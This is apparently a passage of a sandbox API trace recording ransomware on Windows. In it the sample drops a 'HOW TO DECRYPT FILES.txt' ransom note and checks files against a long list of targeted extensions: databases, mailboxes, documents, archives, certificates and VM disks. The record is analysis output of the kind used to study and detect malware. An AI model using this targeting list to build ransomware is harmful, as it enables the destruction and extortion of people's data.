lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\HOW TO DECRYPT FILES.txt" [0123.006] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\how to decrypt files.txt")) returned 0x20 [0123.006] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\", lpString2="System.Web.DynamicData.Design.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux" [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.006] lstrlenA (lpString="*.ems") returned 5 [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.db") returned 0 [0123.006] lstrlenA (lpString="*.db") returned 4 [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.dbf") returned 0 [0123.006] lstrlenA (lpString="*.dbf") returned 5 [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.myox") returned 0 [0123.006] lstrlenA (lpString="*.myox") returned 6 [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.myo") returned 0 [0123.006] lstrlenA (lpString="*.myo") returned 5 [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.qbw") returned 0 [0123.006] lstrlenA (lpString="*.qbw") returned 5 [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.qbb") returned 0 [0123.006] lstrlenA (lpString="*.qbb") returned 5 [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.qbm") returned 0 [0123.006] lstrlenA (lpString="*.qbm") returned 5 [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.qbo") returned 0 [0123.006] lstrlenA (lpString="*.qbo") returned 5 [0123.006] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.qbx") returned 0 [0123.006] lstrlenA (lpString="*.qbx") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.qba") returned 0 [0123.007] lstrlenA (lpString="*.qba") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.qby") returned 0 [0123.007] lstrlenA (lpString="*.qby") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.qbj") returned 0 [0123.007] lstrlenA (lpString="*.qbj") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.ofx") returned 0 [0123.007] lstrlenA (lpString="*.ofx") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.qif") returned 0 [0123.007] lstrlenA (lpString="*.qif") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.mye") returned 0 [0123.007] lstrlenA (lpString="*.mye") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.mbox") returned 0 [0123.007] lstrlenA (lpString="*.mbox") returned 6 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.eml") returned 0 [0123.007] lstrlenA (lpString="*.eml") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.pst") returned 0 [0123.007] lstrlenA (lpString="*.pst") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.ost") returned 0 [0123.007] lstrlenA (lpString="*.ost") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.idx") returned 0 [0123.007] lstrlenA (lpString="*.idx") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.dbx") returned 0 [0123.007] lstrlenA (lpString="*.dbx") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.sql") returned 0 [0123.007] lstrlenA (lpString="*.sql") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.mdb") returned 0 [0123.007] lstrlenA (lpString="*.mdb") returned 5 [0123.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.fdb") returned 0 [0123.008] lstrlenA (lpString="*.fdb") returned 5 [0123.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.wab") returned 0 [0123.008] lstrlenA (lpString="*.wab") returned 5 [0123.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.dat") returned 0 [0123.008] lstrlenA (lpString="*.dat") returned 5 [0123.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.txt") returned 0 [0123.008] lstrlenA (lpString="*.txt") returned 5 [0123.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0123.008] lstrlenA (lpString="*.jpeg") returned 6 [0123.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.jpg") returned 0 [0123.008] lstrlenA (lpString="*.jpg") returned 5 [0123.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.png") returned 0 [0123.008] lstrlenA (lpString="*.png") returned 5 [0123.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.php") returned 0 [0123.008] lstrlenA (lpString="*.php") returned 5 [0123.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.cs") returned 0 [0123.008] lstrlenA (lpString="*.cs") returned 4 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.cpp") returned 0 [0123.009] lstrlenA (lpString="*.cpp") returned 5 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.rar") returned 0 [0123.009] lstrlenA (lpString="*.rar") returned 5 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.zip") returned 0 [0123.009] lstrlenA (lpString="*.zip") returned 5 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.html") returned 0 [0123.009] lstrlenA (lpString="*.html") returned 6 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.htm") returned 0 [0123.009] lstrlenA (lpString="*.htm") returned 5 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0123.009] lstrlenA (lpString="*.xlsx") returned 6 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.xls") returned 0 [0123.009] lstrlenA (lpString="*.xls") returned 5 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.mp4") returned 0 [0123.009] lstrlenA (lpString="*.mp4") returned 5 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.ppt") returned 0 [0123.009] lstrlenA (lpString="*.ppt") returned 5 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.pptx") returned 0 [0123.009] lstrlenA (lpString="*.pptx") returned 6 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.doc") returned 0 [0123.009] lstrlenA (lpString="*.doc") returned 5 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.dot") returned 0 [0123.009] lstrlenA (lpString="*.dot") returned 5 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.docx") returned 0 [0123.009] lstrlenA (lpString="*.docx") returned 6 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.7z") returned 0 [0123.009] lstrlenA (lpString="*.7z") returned 4 [0123.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.tar") returned 0 [0123.010] lstrlenA (lpString="*.tar") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.bz2") returned 0 [0123.010] lstrlenA (lpString="*.bz2") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.gz") returned 0 [0123.010] lstrlenA (lpString="*.gz") returned 4 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.mkv") returned 0 [0123.010] lstrlenA (lpString="*.mkv") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.eml") returned 0 [0123.010] lstrlenA (lpString="*.eml") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.msg") returned 0 [0123.010] lstrlenA (lpString="*.msg") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.edb") returned 0 [0123.010] lstrlenA (lpString="*.edb") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.accdb") returned 0 [0123.010] lstrlenA (lpString="*.accdb") returned 7 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.odb") returned 0 [0123.010] lstrlenA (lpString="*.odb") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.java") returned 0 [0123.010] lstrlenA (lpString="*.java") returned 6 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.asm") returned 0 [0123.010] lstrlenA (lpString="*.asm") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.pfx") returned 0 [0123.010] lstrlenA (lpString="*.pfx") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.pem") returned 0 [0123.010] lstrlenA (lpString="*.pem") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.p12") returned 0 [0123.010] lstrlenA (lpString="*.p12") returned 5 [0123.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.gpg") returned 0 [0123.010] lstrlenA (lpString="*.gpg") returned 5 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.vsd") returned 0 [0123.011] lstrlenA (lpString="*.vsd") returned 5 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.odg") returned 0 [0123.011] lstrlenA (lpString="*.odg") returned 5 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.raw") returned 0 [0123.011] lstrlenA (lpString="*.raw") returned 5 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.nef") returned 0 [0123.011] lstrlenA (lpString="*.nef") returned 5 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.svg") returned 0 [0123.011] lstrlenA (lpString="*.svg") returned 5 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.psd") returned 0 [0123.011] lstrlenA (lpString="*.psd") returned 5 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.vmx") returned 0 [0123.011] lstrlenA (lpString="*.vmx") returned 5 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0123.011] lstrlenA (lpString="*.vmdk") returned 6 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.vdi") returned 0 [0123.011] lstrlenA (lpString="*.vdi") returned 5 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.lay6") returned 0 [0123.011] lstrlenA (lpString="*.lay6") returned 6 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0123.011] lstrlenA (lpString="*.mpeg") returned 6 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.djvu") returned 0 [0123.011] lstrlenA (lpString="*.djvu") returned 6 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.tiff") returned 0 [0123.011] lstrlenA (lpString="*.tiff") returned 6 [0123.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.backup") returned 0 [0123.012] lstrlenA (lpString="*.backup") returned 8 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.pdf") returned 0 [0123.012] lstrlenA (lpString="*.pdf") returned 5 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.cert") returned 0 [0123.012] lstrlenA (lpString="*.cert") returned 6 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.docm") returned 0 [0123.012] lstrlenA (lpString="*.docm") returned 6 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0123.012] lstrlenA (lpString="*.xlsm") returned 6 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.dwg") returned 0 [0123.012] lstrlenA (lpString="*.dwg") returned 5 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.nd") returned 0 [0123.012] lstrlenA (lpString="*.nd") returned 4 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.tlg") returned 0 [0123.012] lstrlenA (lpString="*.tlg") returned 5 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.lgb") returned 0 [0123.012] lstrlenA (lpString="*.lgb") returned 5 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.mov") returned 0 [0123.012] lstrlenA (lpString="*.mov") returned 5 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.xdw") returned 0 [0123.012] lstrlenA (lpString="*.xdw") returned 5 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.ods") returned 0 [0123.012] lstrlenA (lpString="*.ods") returned 5 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.wav") returned 0 [0123.012] lstrlenA (lpString="*.wav") returned 5 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.mp3") returned 0 [0123.012] lstrlenA (lpString="*.mp3") returned 5 [0123.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.aiff") returned 0 [0123.013] lstrlenA (lpString="*.aiff") returned 6 [0123.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.flac") returned 0 [0123.013] lstrlenA (lpString="*.flac") returned 6 [0123.013] PathMatchSpecA 